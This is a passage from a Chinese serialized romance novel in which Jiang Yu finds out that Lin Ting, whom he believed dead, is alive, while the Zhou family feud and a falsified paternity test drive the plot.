“我们同样把小听当女儿一样,你们俩……” 胸口疼痛中,宋律风斩钉截铁,“爸,妈,这辈子我谁都不会再娶。小听也不会有那样的心思。” 说话间,宋律风望向大圆桌上的林听。 此时此刻,周自衡的目光,正落在林听的侧脸上。 那看似平静的目光,到底蕴含着怎样的感情,宋律风太了解不过了。 他仿佛在周自衡的身上,看到了当年自己的影子。 “爸,妈,你们放心,小听自会有人守候。” 周自衡的存在,让宋律风心中有了一丝欣慰。 周自衡这男人,认识他十几二十年。 没想到他藏得这般深。 …… 墓园。 今天是林听的生日。 江遇从来没有忘记过。 哪怕她在监狱里的那五年,他每一年都会记得清清楚楚。 每一年的这一天,他都会把自己关在画室里,整夜整夜地画着林听的画像。 此刻,他站在林听的墓碑前。 一束刚刚摘的洋桔梗,轻轻放在林听的照片前。 用时三个月,他终于在墓园里,种满了漫山遍野的洋桔梗。 那是林听最喜欢的花。 放下花,他蹲下来。 骨节分明,却沾着泥土的手指,小心翼翼地抚在墓碑照片上。 照片冰凉。 那凉意,直达心底。 这三个月,江遇去见过柚子很多次。 但是,柚子拒不相见。 他最多只能在君悦府和幼儿园的外面,远远地瞧上一眼。 剩余的时间,他大部分都在墓园。 这片墓园已经被他买下来了。 林听葬礼的时候,他没能来送一程。 现在,天天过来。 他把时间都花在了种植洋桔梗这件事情上。 整片墓园,几十公顷。 里面的每一棵洋桔梗,都是他亲手种下的。 洋桔梗开得那样灿烂。 可是林听却永远躺在了这里。 “听听,我为你种的洋桔梗都开花了,你喜欢吗?” “听听,我好想你!” 沧桑痛苦又英俊不凡的侧脸,轻轻落下,靠在林听冰冷的照片上。 旁边的陈叔看了,心里十分难受,“江先生,你已经又在这里呆一整天了,江书臣还等着你回去商议要事,我们回吧。” 江遇依旧靠在林听的照片上。 痛苦的泪水在克制中,潸然而落。 好一会儿,他才擦干泪,起身,问,“宋律风今天带柚子,来祭拜过林听了吗?” 他还想再等等。 想再见一见柚子。 陈叔摇头,“没有,倒是林先生和林总两父子,还有林薇薇,早上来过了。那时你在种花,我没让他们知道。” 江遇消沉地应了一声,“我去唐阿姨那边祭拜一下。如果柚子来了,打电话告诉我。” 陈叔点点头,“好!” 三十年前的今天,既是林听出生的日子。 也是林听母亲唐婉华去世的日子。 唐婉华的墓碑前。 柚子牵着妈妈的手,“妈妈,为什么这整片墓园,都种满了最你喜欢的洋桔梗,谁种的啊?” 那些花,仿佛是刚刚种下的。 泥土还是新鲜的。 这时,有脚步声由远及近,传过来。 第90章 是林听! 热风徐徐中。 一道挺拔伟岸的身影,越过树影,渐渐走来。 那是林听这一辈子,永远也不想再见到的人——江遇。 林听立即抱起柚子,躲到一株茂盛的雪松树后。 随后蹲下来,朝柚子比了一个噤声的手势,“嘘!” 柚子很乖巧地点了点头。 她知道,妈妈不想见到那个人。 妈妈更不想让那个人知道,她还活着。 别人的爸爸,都很爱他们的妈妈。 可是她的爸爸,不但不爱妈妈,还要了妈妈的命。 柚子心疼妈妈,抱紧了妈妈。 这只温暖的小手,被林听温柔地捧进掌心里。 然后拥紧女儿。 那些过往都不重要了,重要的是她现在还可以和柚子在一起。 唐婉华的墓碑前。 一束洛神玫瑰,被放在碑石前。 那束洛神玫瑰,是唐婉华生前最喜欢的花。 奥斯汀花型。 心粉圈白渐变色,波浪花边。 被称为玫瑰界的爱马仕。 市面上,洛神玫瑰重金难求。 以前,江遇每次和林听来探望唐婉华,都要从最大的花卉市场,提前两个月预订这束玫瑰洛神。 林振宇和林建国也知道唐婉华喜欢洛神玫瑰。 但这种花就算提前预订,也不一定能够订得到。 所以他们不是每年都会送。 林听却不同。 每一年,她都会想尽各种办法。 鹏城订不到,她会去别的城市订。 此时此刻,唐婉华的墓碑前,不只放着江遇送的这一束洛神玫瑰。 旁边还有另一束。 一模一样。 新鲜如刚刚采摘。 陈叔说过,林振宇和林建国父子俩,是早上来的墓园。 夏日的太阳如此猛烈。 如果这束洛神玫瑰,是林振宇林建国父子俩送给唐阿姨的,它早被晒焉了。 只有一个可能。 送花的人刚刚走。 那么是谁送的? 知道唐阿姨喜欢洛神玫瑰的人,只有他、林振宇林建国父子俩,还有林听。 江遇胸口一阵震颤。 不可能,不可能是林听…… 他朝四周望了望。 一望无尽的坟头。 洋桔梗,雪松,夕阳,微风…… 再无别人。 可是这花? 他立即掏出了手机,给林振宇打了一通电话。 林振宇这些日子,早就想找江遇了。 但江遇不见人影。 电话不接,微信不回,集团也扔给江书臣。 三个月,不闻不问。 电话接通后,林振宇在那边火气冲冲地问。 “江遇,你还知道给我打电话啊?” “这三个月你死哪里去了?” “你是不是打算一辈子都躲着薇薇?” “你知不知道这三个月,薇薇每日以泪洗面?” 林振宇说什么,江遇一个字也没有听进去。 他看着唐婉华的墓碑前,那束同样鲜艳的洛神玫瑰。 心中有一个强烈又荒唐的猜测闪过。 “林振宇,你今天来看过唐阿姨了?” 提到亡母,林振宇对江遇的愤怒减了半。 想到自己在妈妈临死前,答应过她,要好好照顾小听。 可是小听却因他而错失最佳治疗时间,去了妈妈的世界。 林振宇心中愧疚不已。 这一天是亡母唐婉华的忌日。 也是小听的生日。 林振宇当然不会忘。 “当然,早上我才去我妈的坟前忏悔过。” “是早上?”江遇紧紧追问,“那唐阿姨坟前的洛神玫瑰,是不是你送的?” 林振宇被江遇的追问带偏话题。 他早就忘了林薇薇的事情。 “洛神玫瑰极其难订,我今年给我妈送的是菊花。” 江遇:“你确定?” 林振宇:“我自己送的什么花,我还不确定?” 江遇又问,“林叔呢?” 林振宇:“我爸和我一起去的。” 江遇心中的那个猜测,越来越肯定。 他仿佛被雷击中。 四肢百骸的血液,直冲脑顶。 林振宇觉得纳闷,“江遇,你问这个干什么?” 哪里有人回应林振宇? 此时此刻,连日来在墓园种着洋桔梗,不眠不休的江遇,疲倦却被一扫而空。 林听还活着! 这花一定是林听送的。 如此一来,三个月前,周自衡高兴的和柚子说着,要去见妈妈时,两人脸上的笑容便有了合理的解释。 那时他以为,是他产生了错觉。 现在回想,他们真的是要去见林听。 心中那个笃定的答案,化作一道电流。 沿着他的脊柱,直冲天灵盖。 林振宇又在电话那头,开启絮絮叨叨的责备谴责模式。 林振宇用自己的不满,诉说着江遇对林薇薇的种种不公。 江遇一个字没有听进去。 他喉结滚动了好几次,这才不可思议地挤出一个来自内心深处的声音: “林振宇,林听还活着!” 那头的林振宇,立即质疑,“江遇,你是不是悲痛过度,脑子出问题了?” 电话被江遇挂断。 他拿起那束并非属于他带来的,洛神玫瑰。 玫瑰的花瓣,每一片都鲜艳欲滴。 上面还有新鲜的水珠。 举目四望,却空无一人。 很快,他朝墓园的下山路,追了出去。 …… 唐婉华的墓碑前。 直到确认江遇走远了,林听这才带着柚子从雪松树后,走出来。 她和柚子,朝着碑石上的照片,深深鞠了一躬。 “妈妈,我和柚子来看你了。” “外婆,我和妈妈来看您了。” 林听看着碑石上的照片。 照片上的妈妈,年轻又美丽,和她现在的模样十分相像。 林听完全能够感受到,当初妈妈生下她难产去世时,那诸多的不舍与牵挂。 “妈妈,对不起,原本我是要提前与你团聚的。” “可是我还有小柚子。” “我不能去你那里了。” “但是,妈妈,我很想你。” “妈妈,我生病的这段日子,认识了周琪的父母。” “他们人很好,把我当亲闺女一样照顾。” “你放心,你的女儿和外孙女,一定会过得很幸福的。” 她不想把自己被林建国林振宇欺负的事情,告诉妈妈。 那样,妈妈会伤心的。 妈妈明明那样信任林建国,信任林振宇。 她不想毁了妈妈的这份信任。 不想妈妈死也不瞑目。 …… 下山时,林听走了一另外条路。 不是来时的路。 她给小段打了电话,让小段在后山的下山路出口处等她。 回去以后,车子抵达君悦府。 林听亲自把柚子,带回客厅。 张淑琴和周国立,已经准备好了晚餐。 最后一道菜被张淑琴端上桌时,她招呼着走进客厅的两母女。 “小听,柚子,你们回来的正好,可以开饭了。” “妈!” 林听与张淑琴相处了三四个月,已经很习惯叫这一声“妈”了。 虽然张淑琴不是她的亲生母亲,她们没有血缘关系,可他们待她如亲生。 就在这两天,张淑琴劝她和宋律风试着相处看看。 她和宋律风,一个单亲带着柚子。 一个丧妻,单亲,带着落落和盼盼。 家里三个女儿,落落,柚子,盼盼,亲如姐妹。 张淑琴和周国立,希望他们能够做真夫妻,一家几口好好过日子。 张淑琴说了几次,林听便拒绝了几次。 她不能做对不起周琪的事情。 更是对婚姻和爱情,早就没有想法了。 “妈,我还有急事出去一趟,麻烦你们照顾一下柚子。” 柚子已经去和落落一起,玩着洞洞乐了。 说完,林听就急着出了门。 小段开着车,载着她去了一家花店,然后又去了周家山庄。 周自衡的电话打不通。 她只能来周家山庄找他。 此时此刻,小段的车子被山庄入口拦下。 大门戒备森严。 几十个安保人员,来来回回巡着逻。 他们手上,个个拿着电棍。 小段把车子开到一边停下来,“林小姐,周家这是发生什么事情了吗?” 林听不知道。 看这阵仗,周家一定不会太平静。 联想前几个月,周家老二老四意外死亡,老三老五入了狱,一个死刑,一个终身监禁。 林听忽然有种不好的预感。 周家这是,又有什么内部纷争了? 加上周自衡一直不接林听电话,林听就更紧张了。 周家的血雨腥风,堪比九子夺嫡。 林听一直众傍晚七点多,等到夜里八点半。 忽然,一声枪响。 寂静的夏夜,被枪声划破。 一同划破的,还有林听忐忑不安的心。 “小段,你听到枪声了吗?” “好像是。” “周自衡不会有什么事吧?” 林听心里七上八下的。 周自衡是她从小到大的朋友。 又救了她一命。 她不希望他出事。 她不停地给周自衡打电话。 又不停地给洛高打电话。 均是无人接听。 直到夜里九点半,周自衡的电话,终于回了过来。 电话接通的那一刻,林听仍然心悬一线。 “周自衡,你没事吧?” 直到电话那头,传来周自衡向来平静的声音,“有事?” 林听忘了找他是什么事,赶紧又问: “我在山庄大门口,半个小时前听到里面有一声枪响,周自衡,你没事吧?” 周自衡:“我让洛高去接你。” 山庄,东楼。 一地淌着鲜血。 那血,是从周自衡手臂淌下来的。 周自衡紧紧按着伤口。 任由鲜血直流,他却连眉头都未皱一下,“林听在山庄门口,你去接她进来。” “先生,你手臂受伤了,先处理伤口吧。” 洛高满眼担忧地看着自家老板。 刚刚惊险万分。 那刀明明是刺向洛高的。 可是他家老板却替他挡了一刀。 不过周家六少——周自雄,挨了周自衡一枪。 逃了,也伤得不轻。 周家除了老爷子,能坐上家主宝座的人,除了周自衡便只有周六少周自雄。 周六少周自雄,也是个狠人。 竟然敢如此明目张胆地痛下杀手。 看着一地鲜血,洛高有许多担忧: “先生,让林小姐先回去吧,山庄需要马上肃清内鬼,也需要立即把周自雄找出来。否则下次,他还会对你痛下杀手。” 今日,周六少就是冲着让周自衡必死无疑的结局而来的。 场面混乱。 可是周自衡看见林听的十几个未接来电。 她一定是有急事。 “带她到会客厅来见我,你亲自去接。” 说话间,周自衡已经撕碎了衫衣一角,紧缠手臂。 见洛高只好转身去接林听,周自衡缠着手臂的动作,停了下来: “我受伤的事,不要告诉林听。” 第91章 惊!林听才是林家真千金 十几分钟后,林听被带到了周自衡的会客厅。 此时的周自衡已经换了一身衣裳。 身上的血迹被他处理干净。 手臂的伤,简单缠了纱布,藏在西装衣袖里。 看到完好无整的周自衡,林听松了一口气。 来的路上,洛高已经跟她解释过了,说是没发生什么事。 但是林听还是担忧。 刚刚那声枪响,真是把她吓死了。 “周自衡,你真的没事吧?” 周自衡比了个手势,示意她坐下来。 “找我有急事?” 两人一起坐下来。 林听这才又说: “我找你是有急事。” “不过八点半的那声枪响,是怎么回事?” “周自衡,是不是周家的人想杀掉你?” 周自衡自三岁归家,手边手足,父母,哪个想让他活? 如果不是周自衡足够有手段,他早就成了周老爷子的替罪羔羊,死在前不久的那场死刑枪决中。 小的时候,林听就挺同情周自衡。 他是个六亲缘浅的人。 就像她一样。 冥冥之中,她总觉得她和周自衡是同病相怜之人。 加上周自衡救了她的命,她对周自衡有了某种像亲情一样的牵挂。 “周自衡,你别骗我,今天到底发生什么事了?” 明明经历了一场生死劫难,周自衡却显得风轻云淡,“你好像很在意我的安危?” “当然。”林听想也不想答,“你比我的亲人还要亲。” 提到亲人,林听心中恨意难消。 被病痛折磨,就快死的时候,她的亲人一个个的,见死不救。 “不,我已经没有亲人了。” “以后你和律风,还有落落的外公外婆,都是我的亲人。” 亲人两个字,让周自衡握了握拳。 拳背上,青筋浮现。 可他面上依旧不动声色,并且给了林听一个坚定有力的安慰: “放心,以后我和宋律风,都不会让人欺负你。” “……” “说吧,找我什么急事,不然你也不会连着打十几个电话。” “我那是担忧你。”林听直言。 见他确实平安无事,她心下又松快了许多。 这才把下午在墓园里发生的事情,告诉了周自衡。 然后又说,“江遇已经怀疑了,花店那边我打过招呼了,但我怕他去查墓园的监控。” 如果江遇去墓园调取监控,一定能够看到她和柚子一起去祭拜母亲唐婉华。 她不想让江遇知道,她还活着。 她又说,“周自衡,你和江遇都是电脑高手,你应该也可以远程侵入到,墓园的监控系统吧?” 回应她的,是周自衡的眉心微蹙,以及他的不答反问: “林听,如果再见江遇,你的内心还会泛起波澜?” 林听斩钉截铁,“当然不会。我只是不想和这个狗男人见面。” “……”周自衡没有再说什么。 他沉默了几秒钟,让洛高拿来了一台电脑。 洛高看到他家老板敲打键盘时,心疼死了。 明明他的手臂刚刚被砍了一刀。 没去医院。 这会儿还要忍着疼,替林小姐办事。 林小姐的一句话,比什么都重要。 大约过了十几分钟,周自衡合上了电脑。 “林听,送你一句话。” 林听问,“什么?” 周自衡:“真正的放下,是直面它,漠视它。” 林听知道,周自衡经历的苦痛,比她多许多。 他说的也有道理。 只是,她还是没有办法做到完全当作什么也没发生过。 她欣慰一笑,“谢谢你,周自衡,我会加油的。” 周自衡把电脑递给洛高,又对林听说,“还有一件事情。” 还有啊? 接过电脑的洛高,快要急死了。 他忍不住插了一句,“先生,有什么事改天再和林小姐聊吧,你不是还有重要的事情?” 说着,洛高特意看了看周自衡受伤的手臂。 周自衡忍着痛,看了洛高一眼,“你先出去。” “先生。” “我心里有数。” 洛高不敢再说什么,识趣地走出去。 林听起身:“要是你有重要的事,我们改天再聊吧。” 周自衡直入主题,“关于你的身世。” 已经起身的林听,听到自己的身世,怔了一下。 周自衡跟着站起来,“六年前,偷窃林江医药研发机密的人,是林薇薇和苏秀珍母女俩。” 接着,他又说,“你和林建国的亲子报告,也是被这两母女动了手脚。” 也就是说,林听其实是林建国的亲生女儿。 她从来都不是妈妈偷人,而生下的野种。 其实病重之前,林听也有所怀疑。 柚子的亲子报告被人做了手脚,和当年她与林建国做亲子鉴定时的情形,一模一样。 一纸亲子鉴定,让她百口莫辩。 她猜测过,是林薇薇母女俩算计她,要把她赶出林家。 没想到,真是这样的结果。 她想起许多儿时,林建国对她的疼爱来。 林建国是典型的潮汕生意人。 爷爷奶奶重男轻女。 生下她后,妈妈唐婉华死了。 爷爷奶奶让林建国把她送到乡下去,找个人养着就行。 并且劝林建国,再娶一个。 但是林建国为了她,和爷爷奶奶吵了无数回。 林建国说,他的女儿不是赔钱货,是这世上最宝贝的孩子。 他宠着她,疼着她,又当爹又当妈,把她小心翼翼养在身边,并且还和爷爷奶奶断绝了关系。 他们怎么可能不是亲生的? 但林建国信了那纸亲子鉴定书。 他把林薇薇接回了林家。 从此,林家没了她的地位。 原来,多年前的那纸亲子鉴定书,真的也是假的。 她才是林家真正的千金。 周自衡看她沉默不语,问,“如果你想回林家,夺回一切,我可以帮你。” 林听的胸口,是窒息的,是密密麻麻的痛。 如果她不是林建国亲生的。 林建国对她这般冷漠无情,她不觉有什么。 人都是自私的。 可她偏偏就是林建国亲生的女儿。 如果可以选择,她不愿做林建国的女儿。 周自衡又说,“和林薇薇母女接头的人,是周家老六,周自雄。” 林听:“……” 周自衡:“他的手下都已经交代了,你想回林家,随时可以。” 林听斩钉截铁,“不用了。” 林家那个地方,她再也不想回去了。 管它有多少家产,管它能为她提供怎样的锦衣玉食。 她都不稀罕了。 她再也不要与林家的人,有任何瓜葛。 …… 深夜,周自衡处理了手臂上的伤,去了山庄的西楼。 西楼住着周老爷子周才昆。 见到周自衡,白发苍苍的周才昆一声苦笑。 失败了,终究是失败了。 周自衡还活着。 这一次,周才昆彻彻底底认了输。 他看着自己最憎恨最讨厌的这个私生子,问,“你打算怎么处置我?” “为什么你这么恨我?”周自衡坐到周才昆的轮椅对面。 他用麻木的眼神,掩饰着内心所有的伤痛,“恨到,一定要我死?” 今日周老六周自雄对他起了杀心,必是老爷子授意。 否则,周自雄没有这么胆大。 就算他再是私生子。 就算他的母亲再卑鄙,再下贱。 他也是周才昆的亲儿子。 他不明白,为什么周老爷子要对他这般狠心。 周老爷子用哈哈大笑回应他。 笑累了,眼里露出凶狠的光,“周自衡,要么把我处置了。” 否则,等他有了机会,就是周自衡的死期。 “你以为我把您留在西楼,是念着父子情?” 周自衡起身,走到轮椅前。 弯腰时,他以一个上位者的姿态,拎起周老爷子的衣领。 “从今以后,西楼就是你的牢笼,你也应该尝尝什么是生不如死的滋味。” 说罢,松开,起身。 转身离开时,他的眼里只有麻木与冰冷。 身后,周老爷子哼笑了一声,“周自衡,那位被林家抛弃的千金,是你心上人吧?” 闻言,周自衡的步伐停下来。 他握起拳头,拳背上青筋浮现。 随即,斩钉截铁道,“你不会有机会动到她。” 周老爷子哼笑了一声,“原来你也有在意的人?” 周自衡:“洛高,把老爷子身边的所有人,通通换掉。” …… 翌日清晨。 一辆酒红色的红旗国雅,从周家山庄开出来。 洛高却在山庄门口,缓缓踩了刹车。 拦在前面的,是顶着一身晨光,一步一步朝车头走来的江遇。 江遇敲了敲驾驶室的车门,示意洛高开门。 洛高朝后面的周自衡看了一眼,得到周自衡的允许后,这才开了车门锁。 随即,江遇坐到了后排座,周自衡的身侧。 周自衡面不改色,“洛高,开车。” 车子驶离周家山庄。 车上的江遇打量了一番。 这辆多年前,他送给周自衡的酒红色红旗国雅,被周自衡保养得很好。 车子还是和当年一样新。 他与周自衡的兄弟情,却出现了很深的裂缝。 周自衡垂眸于手中的平板电脑。 屏幕上,是周氏集团近几年的财务报表。 他头也不抬,“有事直说。” 江遇换了个坐姿。 抬手间,拂过车顶垂吊的平安符。 这辆车里,连他送给周自衡的平安符,他都保存如新。 可见,周自衡其实还是很在意他们之间的兄弟情的。 否则,他早就把车换掉了。 松开平安符,江遇真诚地说了一句,“阿衡,对不起!” 这句歉意,发自肺腑。 他不该错怪他最好的兄弟,和他最爱的女人。 周自衡依然浏览在平板电脑上的财报上,“你不是来说这句对不起的。” 这时,他才抬头,侧眸,“说吧,什么事?” “墓园的监控,是你删的?”江遇也不再绕弯子,开门见山问。 两个人都是聪明人。 并且都是电脑高手。 昨夜周自衡远程侵入墓园的监控系统。 今早江遇便找到他这里来。 谁也不是傻子。 此时此刻,江遇紧握着拳头,满眼痛苦地看着平静的周自衡,“阿衡,林听还活着,你为什么不告诉我?” 第92章 林薇薇不是你女儿 车厢里的气氛,归于沉闷。 良久,周自衡不答一言。 他把江遇的满眼痛楚尽收眼底后,沉沉地叹了一口气。 这胸腔里的窒息,是对昔日最好兄弟的失望与无语。 然后,冷漠开口,“你不知道原因?” 两人四目相对。 江遇用一声痛苦的笑声回应着。 是啊,他知道原因。 林听恨透了他。 恨到这一辈子,都不想再见到他了。 所以才连她还活着的消息,都不愿意让他知道。 他来找周自衡之前,并不能完全确定,唐婉华墓碑前的那束洛神玫瑰,就是林听送的。 现在,他确定了! “洛高,停车。”江遇看向开车的洛高。 他现在,只想见林听。 洛高见自家老板不说话,问,“江先生,你要去哪里,要不要我送你?” 江遇:“随便把我放路边就行。” 车子在路边的停下来。 随即,周自衡吩咐洛高,“去后备箱,把东西拿给他。” 很快,洛高下了车,从后备箱拿了一个盒子给江遇。 “江先生,这是你的东西。” 那陌生的盒子,让江遇疑惑。 他没落下任何东西,在周自衡这里。 周自衡看向他,“下车后再打开。” 车门被洛高拉开,提醒了一句,“江先生,这里不方便停太久。” 闻声,江遇识趣地下了车。 他手捧着周自衡给的盒子,看着那辆酒红色的红旗国雅,驶向远方。 他还记得当年,他送周自衡这辆车时,他们的兄弟情谊让许多人都羡慕。 可是现在,周自衡连跟他多说一句话,都显得很不耐烦。 是他错怪了周自衡。 是他亲手撕碎了这份兄弟情。 活该的! 这时,他才打开盒子。 盒子里面的东西,让他指节扣紧。 一张张被剪掉的照片,孤零零地躺在里面。 照片里,原本属于他与林听的美好回忆,全被剪碎了。 他与林听的合照,一分为二。 盒子里只剩下一张张,被剪掉的他。 那是三个月前,他交给柚子的相册。 他给柚子讲了许多,他与林听从小到大的故事。 本是想让柚子知道,他与林听从前的恩爱美好。 本也以为,能缓和他与柚子的父女关系。 没成想,照片被剪成这样。 这些,都是林听亲手剪的? 答案何其明显。 林听连一张合照,都不留给他。 那是他们从小到大的合照。 当初说好的,要等到彼此满头白发后,坐在种满洋桔梗的花园里,一起慢慢翻看的。 可是,全被她剪碎了。 他对她好残忍! …… 下午四点半。 东江幼儿园。 一辆白色的比亚迪,停在学校门口不起眼的位置。 车窗紧闭。 行人不见车内的光景。 可车里坐着的人,将车窗外的一切看得清清楚楚。 今天开车的人不是小陈。 而是小陈的父亲,陈叔。 为了不打草惊蛇,江遇特意吩咐了陈叔,换了一辆不起眼的比亚迪。 “江先生,柚子出来了,出来了,看……那真的是小听。” 陈叔激动哭了。 三个月前,人人都以为林听死了。 可是没想到她还好好的活着。 柚子好像高了一小截。 见到妈妈,活蹦乱跳地扑到妈妈怀里。 而林听,欢喜地牵起柚子,又牵起宋律风的女儿落落,走到一辆悍马车前。 车前的林听,剪了齐肩短发。 微卷的发被风轻轻拂起。 她一手小心翼翼替孩子们拉开车门。 一手将耳畔边的碎发往后一别。 露出的那张侧脸,精致润泽又丰腴白皙,再也不是以前那瘦巴巴的样子。 比亚迪后排座的江遇,几乎是一瞬间抠动门扳手。 一只皮鞋快速踩在地面。 他全身血液,直冲天灵盖。 恨不得马上飞奔过去,抱紧林听。 再也不松手。 可是,车门只被推开了一条缝,又合上。 如果现在他贸然冲出去。 见了林听,以后林听只会越来越躲着他。 他可能连这样远远地瞧她一眼的机会,也没有了。 明明自己最心爱的女人,和自己的亲生女儿,就在眼前。 江遇却不能与她们相认。 那辆悍马,载着林听和柚子,离开了幼儿园。 砰砰直跳的心,惆怅又失落。 空落落的。 好像又被人抽走了大半条命。 江遇只能远远地望着那辆悍马,消失在车流…… 陈叔从驾驶室回头一望,高兴坏了,“江先生,小听真的还活着,太好了。” 江遇应声,“开车。” 林听活着,他感觉自己的心跳又有了力量。 好像自己也活过来了。 可是他的脸上,依然没有一丝笑容。 林听一定恨透了他。 连他自己也恨透了自己。 陈叔问,“江先生,我们去哪里?” 江遇:“去林家。” 是时候,该为林听做点什么了。 …… 星河湾,静怡别苑。 林建国的茶室。 苏秀珍坐在茶台前,为林建国沏着茶。 那是林建国最爱喝的乌岽单丛。 她一边沏茶,一边陈述: “老林,这是我亲自去给你采的单丛,两百年的老树,你尝尝。” 林建国尝了那茶,确实不错。 可是,女儿林薇薇的婚事,被搅乱了。 现在江遇不打算补办婚礼。 原本婚礼后的领证计划,也一直不兑现。 林建国愁死了。 再香的茶,也不香了。 这个时候,苏秀珍又在旁边哭诉道。 “老林啊,唐婉华死后,我就一直跟着你。” “这么些年了,你为了死去的唐婉华,一直不给我名分也就算了。” “现在女儿还要因为林听的死,被江遇抛弃。” “你说我们两母女的命怎么这么苦?” 一时之间,林建国愧疚万分。 竟是答不上来。 这些年,苏秀珍一直没名没分跟着他。 他喜欢喝乌岽单丛,她就亲自去潮汕,早上四五点便起床帮他采茶。 他腰疼,秀珍甚至去学了好几个月的中医推拿。 每天不辞艰辛,要替他按摩两个小时。 这个时候,苏秀珍又哭道: “难道我和薇薇,都要因为那死去的两母女,一直这么委屈地活下去吗?” 林建国忽然觉得,苏秀珍说得很有道理。 都是因为死去的唐婉华和林听,秀珍和薇薇,才不幸福的。 他答应过唐婉华,这辈子只娶她一个。 所以,后来一直没给苏秀珍名分。 江遇也因为死去的林听,把薇薇的婚礼给搞砸了。 三个多月了,江遇一直不露面。 薇薇整日以泪洗面。 愧疚的林建国,赶紧替苏秀珍拭泪: “秀珍,是我对不起你们母女俩,是我没照顾好你们。” 这个时候,曹叔来敲了敲门,“林总,江遇来了。” 江遇找林建国有事。 苏秀珍便识趣地离开了茶室。 茶室里,林建国黑着一张老脸: “你还有脸来见我?你把薇薇坑惨了。” 江遇坐到茶桌前,“林叔,难道你就没怀疑过林薇薇和苏阿姨?” “怀疑什么?”林建国端起苏秀珍刚替他沏的茶来。 喝一口,是清洌的茶香味。 那可是秀珍亲自为他采的茶。 饱含了秀珍对他许多爱意。 他怎么可能怀疑苏秀珍半分? 放下茶盏时,林建国脸色更黑。 “江遇,你不要在背后说你苏阿姨坏话。” “我打算给你苏阿姨一个名分。” “我要风风光光地娶她。” 江遇不可思议:“林叔,你糊涂了?” “我没糊涂,是你糊涂了。”林建国对江遇,太失望了。 他哼了一声,又道,“林听得去世,我和你还有振宇,确实都有错。” 如果他们肯给林听一盒药。 林听也不至于惨死。 林听是他又当爹又当妈,倾注了许多爱意,辛苦养大的孩子。 林听去世,他也心疼。 可林听终究只是唐婉华跟别人偷情,生下来的女儿。 不如他的亲生女儿林薇薇,那般重要。 林建国下定了决心: “江遇,你苏阿姨,我一定会娶。” “还有,你也必须娶薇薇,必须重新为她补办一场盛大的婚礼。” “否则我就向媒体宣布,我与江家决裂。” 疯了! 简直是疯了。 江遇可笑地看着林建国,“林叔,林薇薇并不是你的亲生女儿,你确定要为了她们母女俩,如此疯狂?” 愤怒的林建国,狠狠哼声,“胡说八道。林听才不是我的亲生的。” 江遇:“林叔,你敢不敢和林薇薇做亲子鉴定?” 林建国:“我不可能做这种质疑薇薇,伤害薇薇的事情。” 江遇:“那你就可以质疑林听,伤害林听?” 林建国:“她死都死了,还要我怎样?难道为了一个亡妻偷情生下的野种,要我陪葬吗?” 闻言,江遇紧紧握拳,“林听不是野种。” 他只恨自己没有证据。 林建国又不肯和林薇薇做亲子鉴定。 起身时,他咬了咬后牙,“林叔,你会后悔的。” 从小他就发誓,要护林听一世无风无雨。 可是林听后来遭遇的一切,都因他而起。 如果他肯信任林听半分。 林听就不会含冤入狱,甚至他早就帮她,揭穿林薇薇母女俩的真面了。 江遇下了决心,“林叔,我会还林听清白的。” 看着他转身离开,林建国在身后冷冷警告: “江遇,如果你不准备薇薇被办婚礼,我就和江家决裂。” “我说到做到。” “我只给你三天的考虑时间。” 江遇驻足后,斩钉截铁,“不必考虑了,我和林薇薇绝无可能。” 第93章 要为林听洗刷冤屈 江遇走出茶室,在茶室门外,碰见了哭得梨花带雨的林薇薇。 他没多看她一眼,又往外走。 林薇薇拉住他,“江遇,我们可不可以好好谈谈?” 那只抓着他胳膊的手,被他用力推开。 “我们没什么好谈的。” 林薇薇只好在身后,看着他无情地走开。 她哭得伤心欲绝时,林建国从身后走来,温柔地安慰着: “薇薇,别怕。爸爸一定会想办法,让江遇和你补办婚礼的。” 林薇薇已经没有任何办法了。 她挽着林建国的手,哭得更伤心,“爸爸,所有人都知道我在婚礼上被江遇抛弃了,我没脸活了。要是不能嫁给江遇,我还不如死了算了。” 林建国替女儿拭泪: “放心,只要爸爸坚持和江家决裂,江遇不敢不补办婚礼。” “到时候让和你把证也领了,你再给他生个比柚子更可爱的女儿,他肯定会回心转意的。” 这个办法,让林薇薇心中又燃起了希望。 “爸爸,你真的会帮我吗?” “爸爸亏欠你太多,这次爸爸一定会弥补你。” “可是如果真的和江家决裂,林江医药百年根基势必会受到影响。” 林建国温柔地抚着林薇薇的头,“没有什么,比我的宝贝女儿更重要。” …… 江遇离开林家后,回到车上,给周自衡打了一通电话。 周自衡挂断了。 此时,已经傍晚了。 周自衡又去宋家蹭晚饭了。 宋家的餐桌上,热热闹闹的。 宋律风,周国立,张淑琴,林听,落落,柚子,还有张淑琴怀里抱着的小外孙女盼盼。 宋律风也不和周自衡客气。 他故意问,“周自衡,你周家山庄要什么样的美味佳肴没有,怎么天天到我家蹭饭?” 周自衡:“我那里清冷得很,不如这里热闹。” 说这句话的时候,他的目光不经意间落在了林听身上。 在她身上,停留片刻。 直到江遇的又一通电话打进来,他才抽开眸光。 “抱歉,我先接个电话,你们先吃。” 看他渐渐走远,张淑琴对宋律风道: “律风,周自衡在周家六亲缘浅,一个个的都想要他的命,确实挺可怜的。” “以后经常叫他来家里吃饭。” 宋律风笑了笑,“妈,你以为周自衡是来这里寻找亲情感的?” 说这句话的时候,宋律风特意看了林听一眼。 如果后来他没有遇到周琪,他肯定会追求林听。 救林听于苦难水火。 给林听幸福。 因为,林听是他曾经的白月光。 但此时的宋律风,心里只有亡妻周琪。 以后,他都会拿林听当亲人对待。 再看远处接着电话的周自衡,宋律风是欣慰的。 以后,林听的幸福,就交给周自衡了。 落地窗前,周自衡对电话那头的江遇,态度清冷,“没空。” 江遇有急事。 周自衡不愿见他,他只能在电话里说: “阿衡,M901的临床授试者当中,有两名病人用药后,进入假死状态,又死而复生。” “你是不是也给林听,用过M901抗癌药?” “是不是也知道,长期潜伏在我们林江两家的商业间谍?” 林听肺癌晚期是真。 她能够活过来,一定是用了M901抗癌药。 这药,一定是潜伏在林江两家的商业间谍,拿给周家的。 刚好,周自衡回了周家,坐上了周家家主之位。 如此一分析,所有的事情都能解释得通了。 江遇迫切问,“阿衡,你要是知道谁是商业间谍,可不可以告诉我。” 周自衡被江遇冤枉的事情,他还记着仇呢。 他哼笑了一声,“那个商业间谍,不是我吗?” 江遇愧疚,“阿衡,对不起。我知道你重情重义,不可能做出这样的事情。” 周自衡记着仇,“以前你可不是这么说的。” 江遇赶紧又说,“阿衡,林听不能白白蒙冤坐了五年的牢,更不能被林家抛弃。我要替她讨回公道,我也要弥补她。” 周自衡:“江遇,送你一句话:迟来的深情比草贱。” 说完,周自衡挂断了电话,回到餐桌。 